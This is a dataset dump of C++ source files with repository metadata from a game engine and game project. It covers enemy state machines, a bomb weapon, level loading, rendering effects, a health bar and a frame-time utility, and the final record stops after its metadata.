"avg_line_length": 29.149700164794922,
"blob_id": "20c0e8af9326abac8cc69acf1e3e9ec3afff1fd5",
"content_id": "be70ef0f1a92a67ff0b4b17bb518ae591516174a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5071,
"license_type": "no_license",
"max_line_length": 131,
"num_lines": 167,
"path": "/Game/Enemy/Zako/Zako_ShortRangeMonster.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Zako_ShortRangeMonster.h\"\n\n#include \"Enemy/State/EnemyShortRangeStunState.h\"\n#include \"Enemy/State/EnemyDeadState.h\"\n#include \"Enemy/State/EnemyShortRangeIdleState.h\"\n#include \"Enemy/State/EnemyShortRangeComingState.h\"\n#include \"Enemy/State/EnemyShortRangePunchState.h\"\n#include \"Enemy/State/EnemyShortRangeStrongPunchState.h\"\n#include \"Enemy/State/EnemyShortRangeDanceState.h\"\n#include \"Enemy/State/EnemyShortRangeLongJampAttackState.h\"\n#include \"Enemy/State/EnemyShortRangeBlownState.h\"\n\n\nZako_ShortRangeMonster::Zako_ShortRangeMonster()\n{\n\n}\n\nZako_ShortRangeMonster::~Zako_ShortRangeMonster()\n{\n\n}\n\nvoid Zako_ShortRangeMonster::Init()\n{\n\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/enemy/ShortRangeMonster/srm.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/enemy/ShortRangeMonster/srm.tks\";\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\n\t/*auto ske = m_model->GetModel().GetSkelton();\n\tIK* headik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Head_IK\")), 1, 1);\n\theadik->SetIKMode(IK::enMode_NoneHit);\n\tauto coming = reinterpret_cast<EnemyShortRangeComingState*>(GetState(TO_INT(EnStateEX::enComing)));\n\tcoming->SetHeadIK(headik);*/\n\n\tInitAnimation();\n\t\n\t//State\n\tSetState(m_stateMap[TO_INT(IEnemy::EnState::enIdleState)]);\n\n\t//Physics\n\tInitCharacon(m_radius, m_height, m_position, true);\n}\n\nvoid Zako_ShortRangeMonster::InitAnimation()\n{\n\t//Idle\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enIdle), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_idle.tka\", true);\n\t//Walk\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enWalk), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_walk.tka\", true);\n\t//run\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enRun), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_run.tka\", true);\n\t//Punch\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enAttackA), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_punch.tka\", false);\n\t//StrongPunch\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enAttackB), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_strong_punch.tka\", false);\n\t//Dance\n\tSetAnimation(TO_INT(EnAnimEX::enDance), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_dance.tka\", false);\n\t//Down\n\tSetAnimation(TO_INT(EnAnimEX::enDown), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_down.tka\", false);\n\n\tm_model->InitAnimation(m_animationMap, m_animationMap.size());\n}\n\nvoid Zako_ShortRangeMonster::InitState()\n{\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enDeadState), new EnemyShortRangeBlownState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enIdleState), new EnemyShortRangeIdleState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnStateEX::enComing), new EnemyShortRangeComingState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enAttackA), new EnemyShortRangePunchState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enAttackB), new EnemyShortRangeStrongPunchState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnStateEX::enDance), new EnemyShortRangeDanceState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnState::enStunState), new EnemyShortRangeStunState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnStateEX::enLongJampAttack), new EnemyShortRangeLongJampAttackState());\n\t\tm_stateMap.insert(p);\n\t}\n}\n\nvoid Zako_ShortRangeMonster::InitIK()\n{\n\tfloat radius = 0.5f;\n\tauto ske = m_model->GetModel().GetSkelton();\n\t{\n\t\tIK* headik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Head_IK\")), 1, radius);\n\t\theadik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enHead), headik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone.002\")), 2, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enChest), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Arm_L_IK\")), 2, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enArm_L), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Arm_R_IK\")), 2, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enArm_R), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone_L.003\")), 2, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enFoot_L), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone_R.003\")), 2, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enFoot_R), ik);\n\t}\n}\n\nvoid Zako_ShortRangeMonster::Execute()\n{\n\tm_model->SetPosition(m_position);\n\tm_model->SetRotation(m_rotation);\n\n\t//体力がなくなったら死亡ステートへ遷移\n\tif (m_ability.hp <= 0) {\n\t\tSetState(m_stateMap[TO_INT(IEnemy::EnState::enDeadState)]);\n\t}\n}\n\nvoid Zako_ShortRangeMonster::Terminate()\n{\n\tDeleteGO(m_model);\n}\n"
},
{
"alpha_fraction": 0.6586572527885437,
"alphanum_fraction": 0.6706714034080505,
"avg_line_length": 20.439393997192383,
"blob_id": "4633e9042e6b740cdc8365978f5041d8e38c2b6c",
"content_id": "ac7a1d517d6eaefb375fb5de8ebf2e591449613e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1415,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 66,
"path": "/Game/Enemy/State/MiddleBombState/BossBombJumpState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombJumpState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_MiddleBomb.h\"\n#include \"GameManager.h\"\n\nBossBombJumpState::BossBombJumpState()\n{\n}\n\nBossBombJumpState::~BossBombJumpState()\n{\n}\n\nvoid BossBombJumpState::Enter(IEnemy* e)\n{\n\te->PlayAnimation(TO_INT(Boss_MiddleBomb::EnAnimEX::Jump));\n\tm_isJumpStarted = false;\n}\n\nIEnemyState* BossBombJumpState::Update(IEnemy* e)\n{\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tfloat grav = 50.f;\n\tif (BossBombData::GetInstance().isJumpStart && !m_isJumpStarted)\n\t{\n\t\tm_isJumpStarted = true;\n\t\tconst auto& ppos = GameManager::GetInstance().GetPlayer()->GetPosition();\n\t\tconst auto& epos = e->GetPosition();\n\t\tfloat y = ppos.y - epos.y;\n\t\tif (y > 0.f)\n\t\t{\n\t\t\tfloat f = floorf(y / grav);\n\t\t\tif (f == 0.f)\n\t\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t\t\tfloat jump = min(y + grav * dtime * f,200.f);\n\n\t\t\te->SetVelocity({ 0,jump,0 });\n\t\t}\n\t\telse\n\t\t{\n\t\t\te->SetVelocity({ 0,30,0 });\n\t\t}\n\t\te->SetExternalVelocity(Vector3::Zero);\n\t}\n\tif (m_isJumpStarted)\n\t{\n\t\te->SetVelocity(e->GetVelocity() - Vector3::Up * (grav * dtime));\n\t}\n\tconst auto& v = e->GetVelocity();\n\tif (m_isJumpStarted && v.y <= 0.1f)\n\t{\n\t\treturn e->GetState(TO_INT(Boss_MiddleBomb::EnStateEX::FullFrontal));\n\t}\n\treturn this;\n}\n\nvoid BossBombJumpState::Exit(IEnemy* e)\n{\n\n}\n\nvoid BossBombJumpState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7028777003288269,
"alphanum_fraction": 0.7043165564537048,
"avg_line_length": 21.80327796936035,
"blob_id": "1f1672c5d6a338ba6a0cf9802175ca7c86474534",
"content_id": "20b7bb30a3405f0867866c61477c6eeff52a8a18",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2392,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 61,
"path": "/UsualEngineR/level/Level.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\tclass MapChip;\n\t/*!\n\t* @brief\tオブジェクト名。\n\t*/\n\tstruct LevelObjectData {\n\t\tVector3 position;\t\t//<座標。\n\t\tQuaternion rotation;\t//!<回転。\n\t\tVector3 scale;\t\t\t//\n\t\tstd::wstring name;\t//!<名前。\n\t};\n\t/*!\n\t * @brief\tレベル\n\t *@\n\t */\n\tclass Level {\n\tpublic:\n\t\tLevel();\n\t\t~Level();\n\t\t/*!\n\t\t* @brief\tマップチップのスマートポインタの別名定義。\n\t\t*@details\n\t\t* std::unique_ptrは渡されたリソースの所有権を唯一(ユニーク)持っているように\n\t\t* 振舞うスマートポインタ。動的に確保されたリソースは、インスタンスの寿命が\n\t\t* 尽きると自動的に破棄されます。\n\t\t*/\n\t\tusing MapChipPtr = std::unique_ptr<MapChip>;\n\t\t/*!\n\t\t* @brief\tオブジェクトをビルドする時にフックする関数オブジェクトの型の別名定義。\n\t\t*@details\n\t\t* 引数にはオブジェクトの情報が渡されます。\n\t\t* この関数がfalseを返すと、オブジェクトの情報から、静的オブジェクトのMapChipクラスのインスタンスが\n\t\t* 生成されます。\n\t\t* オブジェクトの名前などで、ドアやジャンプ台、アイテムなどの特殊なクラスのインスタンスを生成したときに、\n\t\t* デフォルトで作成されるMapChipクラスのインスタンスが不要な場合はtrueを返してください。\n\t\t* 例えば、フック関数の中で、渡されたオブジェクトデータの名前のモデルを描画するクラスのインスタンスを\n\t\t* 生成したときに、falseを返してしまうと、同じモデルが二つ描画されることになります。\n\n\t\t*/\n\t\tusing HookWhenBuildObjectFunc = std::function<bool(LevelObjectData& objData)>;\n\t\t/*!\n\t\t* @brief\tレベルを初期化。\n\t\t*@param[in]\tlevelDataFilePath\t\ttklファイルのファイルパス。\n\t\t*@param[in] hookFunc\t\t\t\tオブジェクトを作成する時の処理をフックするための関数オブジェクト。\n\t\t*\t\t\t\t\t\t\t\t\tフックしないならnullptrを指定すればよい、\n\t\t*\t\t\t\t\t\t\t\t\t詳細はHookWhenBuildObjectFuncのコメントを参照。\n\t\t*/\n\t\tvoid Init(const char* levelDataFilePath, HookWhenBuildObjectFunc hookFunc);\n\t\t/*!\n\t\t* @brief\tレベルを描画。\n\t\t*/\n\t\tvoid Draw();\n\tprivate:\n\t\tstd::vector<MapChipPtr> m_mapChipArray;\t\t//!<マップチップの可変長配列。\n\t};\n}"
},
{
"alpha_fraction": 0.7135183811187744,
"alphanum_fraction": 0.7197851538658142,
"avg_line_length": 17.94915199279785,
"blob_id": "9fd51222d1c206360d110f04a830b763a20b9153",
"content_id": "1bc2f6b5b56956d6a62493e59ea4c6919e97af3c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1117,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 59,
"path": "/UsualEngineR/Graphics/PostEffect/LightStreeks.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"TextureCopy.h\"\n\n\n\nnamespace UER\n{\n\tclass LightStreeks\n\t{\n\tpublic:\n\t\tvoid Init(float width,float height, Texture* inTex, Texture*& outTex);\n\t\tvoid Draw(RenderContext& rc,const Primitive& prim);\n\n\t\tvoid SetStreeksDirX(const Vector2& dir)\n\t\t{\n\t\t\tm_constBuffDataX.streeksDir = dir;\n\t\t}\n\t\tvoid SetStreeksDirY(const Vector2& dir)\n\t\t{\n\t\t\tm_constBuffDataY.streeksDir = dir;\n\t\t}\n\t\tvoid SetStreeksLenX(float len)\n\t\t{\n\t\t\tm_constBuffDataX.streeksLen = len;\n\t\t}\n\t\tvoid SetStreeksLenY(float len)\n\t\t{\n\t\t\tm_constBuffDataY.streeksLen = len;\n\t\t}\n\t\tvoid UpdateWeight(float d);\n\tprivate:\n\t\tstruct SConstBuffData\n\t\t{\n\t\t\tfloat weights[8] = { 0.f };\n\t\t\tVector2 streeksDir;\n\t\t\tfloat streeksLen = 20.f;\n\t\t};\n\n\t\tRootSignature m_rootSign;\n\t\tDescriptorHeap m_descHeapX;\n\t\tDescriptorHeap m_descHeapY;\n\t\tPipelineState m_pipState;\n\t\tPipelineState m_pipStateY;\n\n\t\tShader m_vs;\n\t\tShader m_ps;\n\n\t\tSConstBuffData m_constBuffDataX;\n\t\tSConstBuffData m_constBuffDataY;\n\t\tConstantBuffer m_constBufferX;\n\t\tConstantBuffer m_constBufferY;\n\n\t\tRenderTarget m_renderTargetX;\n\t\tRenderTarget m_renderTargetY;\n\n\t\tTextureCopy m_texCopy;\n\t};\n}"
},
{
"alpha_fraction": 0.6336248517036438,
"alphanum_fraction": 0.6336248517036438,
"avg_line_length": 12.91891860961914,
"blob_id": "5a73ca03bf8a1913066e612f1e938b9840d7ffe7",
"content_id": "1d9b766ea25917027b5c099736673f76e7a8ebd0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1029,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 74,
"path": "/UsualEngineR/GameObject/GameObject.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"GameObject.h\"\n\nUER::GameObject::GameObject()\n{\n}\n\nUER::GameObject::~GameObject()\n{\n}\n\nvoid UER::GameObject::WrapStart()\n{\n\tif (!m_isStartGO && m_isActiveGO && !m_isDeadGO)\n\t{\n\t\tm_isStartGO = Start();\n\t}\n}\n\nvoid UER::GameObject::WrapPreUpdate()\n{\n\tif (m_isStartGO && m_isActiveGO && !m_isDeadGO)\n\t{\n\t\tPreUpdate();\n\t}\n}\n\nvoid UER::GameObject::WrapUpdate()\n{\n\tif (m_isStartGO && m_isActiveGO && !m_isDeadGO)\n\t{\n\t\tUpdate();\n\t}\n}\n\nvoid UER::GameObject::WrapPostUpdate()\n{\n\tif (m_isStartGO && m_isActiveGO && !m_isDeadGO)\n\t{\n\t\tPostUpdate();\n\t}\n}\n\nvoid UER::GameObject::WrapPreRender()\n{\n\tif (m_isStartGO && m_isActiveGO && !m_isDeadGO)\n\t{\n\t\tPreRender();\n\t}\n}\n\nvoid UER::GameObject::WrapRender()\n{\n\tif (m_isStartGO && m_isActiveGO && !m_isDeadGO)\n\t{\n\t\tRender();\n\t}\n}\n\nvoid UER::GameObject::WrapPrePostRender()\n{\n\tif (m_isStartGO && m_isActiveGO && !m_isDeadGO)\n\t{\n\t\tPrePostRender();\n\t}\n}\n\nvoid UER::GameObject::WrapPostRender()\n{\n\tif (m_isStartGO && m_isActiveGO && !m_isDeadGO)\n\t{\n\t\tPostRender();\n\t}\n}"
},
{
"alpha_fraction": 0.6109437942504883,
"alphanum_fraction": 0.6305220723152161,
"avg_line_length": 19.121212005615234,
"blob_id": "6c4d412977b50a8f4eaafd222e5e233754b08169",
"content_id": "f19d583229f038089439768c76a7ac1eca56811d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2404,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 99,
"path": "/Game/Enemy/HealthBar.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n/// <summary>\n/// \n/// </summary>\nclass HealthBar :public GameObject\n{\npublic:\n\tHealthBar();\n\tvirtual ~HealthBar();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\t\n\t/// <summary>\n\t/// 親オブジェクトの座標を指定\n\t/// </summary>\n\t/// <param name=\"pos\"></param>\n\tvoid SetParentPos(const Vector3& pos) {\n\t\tm_parentPos = pos;\n\t}\n\n\t/// <summary>\n\t/// 現在の体力の割合をセット\n\t/// </summary>\n\t/// <param name=\"scale\">CurrentHP / Max HP</param>\n\tvoid SetHealthRatio(const float ratio) {\n\t\tm_currentHpScale.x = m_hpScale.x * ratio;\n\t}\n\n\t/// <summary>\n\t/// 指定した秒数ヘルスバーを表示\n\t/// </summary>\n\tvoid ShowHealthBar() {\n\t\tm_spHp->SetActive(true);\n\t\tm_spHp_Back->SetActive(true);\n\t\tm_shouldBeDrawn = true;\n\t\tm_drawTimer = 0.f;\n\t}\n\nprivate:\n\tbool m_shouldBeDrawn = false;\n\tfloat m_drawTimer = 0.f;\n\tconst float m_drawSec = 1.5f;\n\tconst Vector4 m_BACK_COLOR = { 0.1,0.1 ,0.1 ,0.7 };\n\tVector3 m_parentPos = Vector3::Zero;\n\tSpriteRender* m_spHp = nullptr;\n\tSpriteRender* m_spHp_Back = nullptr;\n\n\tconst float m_flSpHpHeight = 16;\n\tconst float m_flSpHpWidth = 16;\n\tconst Vector3 m_hpScale = { 1.f / 160.f , 1.f / 860.f,1 };\n\tVector3 m_currentHpScale = m_hpScale;\n\tVector3 m_hpPosOffset = { 0.f,10.f,0.f };\n\tconst Vector2 m_SPRITE_PIVOT = { 1.f,0.f };\n};\n"
},
{
"alpha_fraction": 0.6514454483985901,
"alphanum_fraction": 0.6553876399993896,
"avg_line_length": 20.899280548095703,
"blob_id": "dbee4bcba62fe12f5ffabfe9ccd91cdd8c44d4cc",
"content_id": "bad2421db97c278adf5cf033a53ef33b6dc9ef53",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3044,
"license_type": "no_license",
"max_line_length": 144,
"num_lines": 139,
"path": "/Game/Player/Attack/Bomb.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Bomb.h\"\n//#include \"../../Enemy/EnemyManager.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Effect/ExplosionEffect.h\"\n\nBomb::Bomb()\n{\n\n}\n\nBomb::~Bomb()\n{\n\n}\n\nvoid Bomb::Release()\n{\n\tm_explosionEffect->Stop();\n\tDeleteGO(m_explosionEffect);\n\tDeleteGO(m_model);\n}\n\nvoid Bomb::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Bomb::Awake()\n{\n\n}\n\nbool Bomb::Start()\n{\n\n\tm_se = NewGO< CSoundSource>(0);\n\tm_se->Init(L\"Assets/sound/chara/explosion.wav\", true);\n\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test_criss.tkm\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\tm_model->SetPosition(m_position);\n\n\tm_explosionEffect = NewGO<ExplosionEffect>(0);\n\tm_explosionEffect->Init();\n\tm_explosionEffect->SetSca(Vector3::One * 0.2f);\n\n\treturn true;\n}\n\n\nvoid Bomb::PreUpdate()\n{\n\n}\n\nvoid Bomb::Update()\n{\n\tauto delta = gameTime()->GetDeltaTime();\n\tm_lifeTimerSec += delta;\n\tm_position += m_velocity * m_speed * delta;\n\tm_model->SetPosition(m_position);\n\tbool isBombed = false;\n\n\tif (isBombed == false and (m_position - EnemyManager::GetEnemyManager().GetNearestEnemy(m_position)->GetPosition()).Length() < m_igniteRange) {\n\t\tisBombed = true;\n\t\tm_explosionEffect->SetPos(m_position);\n\t\tm_explosionEffect->Play();\n\t\tm_isExploded = true;\n\t\tm_se->Play(false);\n\n\t\tfor (int i = 0; i < EnemyManager::GetEnemyManager().GetEnemies().size(); i++) {\n\t\t\tauto& epos = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition();\n\t\t\tif ((m_position - epos).Length() < m_ExplodeDamageRange) {\n\t\t\t\tauto vecKb = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition() - m_position;\n\t\t\t\tvecKb.y = 0;\n\t\t\t\tvecKb.Normalize();\n\t\t\t\tvecKb.y = 2.f;\n\t\t\t\tvecKb.Normalize();\n\t\t\t\tvecKb *= m_knockBackPower;\n\t\t\t\tEnemyManager::GetEnemyManager().GetEnemies().at(i)->ApplyDamage(m_damage, true, vecKb);\n\t\t\t}\n\t\t}\n\t}\n\n\t//for (int i = 0; i < EnemyManager::GetEnemyManager().GetEnemies().size(); i++) {\n\t//\tauto& epos = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition();\n\t//\tif ((m_position - epos).Length() < m_igniteRange) {\n\t//\t\t//Bomb!!!\n\t//\t\tisBombed = true;\n\t//\t\tbreak;\n\t//\t}\n\t//}\n\n\t//if (isBombed) {\n\t//\tfor (int i = 0; i < EnemyManager::GetEnemyManager().GetEnemies().size(); i++) {\n\t//\t\tauto& epos = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition();\n\t//\t\tif ((m_position - epos).Length() < m_ExplodeDamageRange) {\n\t//\t\t\tEnemyManager::GetEnemyManager().GetEnemies().at(i)->ApplyDamage(m_damage);\n\t//\t\t}\n\t//\t}\n\t//}\n\tif (m_isExploded) {\n\t\tm_destroyTimer += delta;\n\t\tif (m_destroyTimer >= m_destroyInterval) {\n\t\t\tauto obj = reinterpret_cast<GameObject*>(this);\n\t\t\tDeleteGO(obj);\n\t\t}\n\t}\n\telse if (m_lifeTimerSec >= m_lifeSpanSec) {\n\t\tauto obj = reinterpret_cast<GameObject*>(this);\n\t\tDeleteGO(obj);\n\t}\n}\n\nvoid Bomb::PostUpdate()\n{\n\n}\n\n\nvoid Bomb::Render()\n{\n\n}\n\nvoid Bomb::PostRender()\n{\n\n}\n"
},
{
"alpha_fraction": 0.6887755393981934,
"alphanum_fraction": 0.7142857313156128,
"avg_line_length": 21.615385055541992,
"blob_id": "42a840f0803b450365ebe85e4dc76825ade19bb7",
"content_id": "c38c6597aaffbaf2eaabcd5113eb8abbea4a85af",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 588,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 26,
"path": "/Game/Player/State/PlayerDiveState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IPlayerSstate.h\"\n/// <summary>\n/// \n/// </summary>\nclass PlayerDiveState :public IPlayerState\n{\npublic:\n\tPlayerDiveState();\n\tvirtual ~PlayerDiveState() override;\n\tvoid Enter(Player*) override;\n\tIPlayerState* Update(Player*) override;\n\tvoid Exit(Player*) override;\n\nprivate:\n\n\tconst float m_DIVE_STAMINA_COST = 10.f;\n\tconst float m_VELOCITY_MAX = 10.f;\n\tconst float m_GRAVITY = -9.81f;\n\tconst float m_QUICKNESS = 50.f;\n\tconst float m_FIRST_VEL_PARAM = 15.f;\n\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_velocityGoal = Vector3::Zero;\n\tbool m_isCanDive = true;\n};\n"
},
{
"alpha_fraction": 0.5614898204803467,
"alphanum_fraction": 0.5762473940849304,
"avg_line_length": 17.02531623840332,
"blob_id": "cb7f44ba920f2870197220abb82cd9153c5a9815",
"content_id": "7d7a2ed9e7a23b59c3f98843cf7ac7219669bc80",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1423,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 79,
"path": "/UsualEngineR/util/GameTime.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\nnamespace UER\n{\n\tclass GameTime\n\t{\n\t\n\t\tGameTime() {}\n\t\t~GameTime(){}\n\tpublic:\n\n\t\tstatic GameTime* Get()\n\t\t{\n\t\t\tstatic GameTime* inst = nullptr;\n\t\t\tif (inst == nullptr)\n\t\t\t\tinst = new GameTime();\n\t\t\treturn inst;\n\t\t}\n\n\t\tvoid PushFrameDeltaTime(float time)\n\t\t{\n\t\t\t//m_deltaTimeQue.push_back(time);\n\n\t\t\t//float Qsize = m_deltaTimeQue.size();\n\t\t\t//if (Qsize > 30)\n\t\t\t//{\n\t\t\t//\tfloat totalTime = 0;\n\t\t\t//\tfor (auto dt : m_deltaTimeQue)\n\t\t\t//\t{\n\t\t\t//\t\ttotalTime += dt;\n\t\t\t//\t}\n\t\t\t//\tmFrameDeltaTime = min(1.f / 30.f, totalTime / Qsize);\n\t\t\t//\t\n\t\t\t//\t//m_deltaTimeQue.shrink_to_fit();\n\t\t\t//\t//m_deltaTimeQue.erase(m_deltaTimeQue.begin());\n\t\t\t//\tm_deltaTimeQue.pop_front();\n\t\t\t//\t\n\t\t\t//}\n\n\t\t\tm_deltaTimeArray[m_queueCount] = time;\n\t\t\tif (m_queueCount + 1 >= MAX_QUEUE)\n\t\t\t{\n\t\t\t\tfloat totalTime = 0;\n\t\t\t\tfor (auto dt : m_deltaTimeArray)\n\t\t\t\t{\n\t\t\t\t\ttotalTime += dt;\n\t\t\t\t}\n\t\t\t\tmFrameDeltaTime = min(1.f / 30.f, totalTime / (m_queueCount + 1));\n\n\t\t\t\tfor (int i =1;i< (m_queueCount + 1);i++)\n\t\t\t\t{\n\t\t\t\t\tm_deltaTimeArray[i - 1] = m_deltaTimeArray[i];\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tm_queueCount++;\n\t\t\t}\n\t\t} \n\n\t\tfloat GetDeltaTime()\n\t\t{\n\t\t\treturn mFrameDeltaTime;\n\t\t}\n\n\tprivate:\n\t\tstatic const int MAX_QUEUE = 30;\n\t\tstd::list<float> m_deltaTimeQue;\n\t\tstd::array<float, MAX_QUEUE> m_deltaTimeArray;\n\t\tint m_queueCount = 0;\n\t\tfloat mFrameDeltaTime = 1.f / 30.f;\n\t};\n\n\tstatic GameTime* gameTime()\n\t{\n\t\treturn GameTime::Get();\n\t}\n}"
},
{
"alpha_fraction": 0.6379176378250122,
"alphanum_fraction": 0.6418026685714722,
"avg_line_length": 17.126760482788086,
"blob_id": "8bcdc85a5ce03b0b9e19fb50921fa2499fa4f15c",
"content_id": "574e99d8ad1ee0ed564cc6a585b3813a2b654fb6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1621,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 71,
"path": "/Game/Title.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
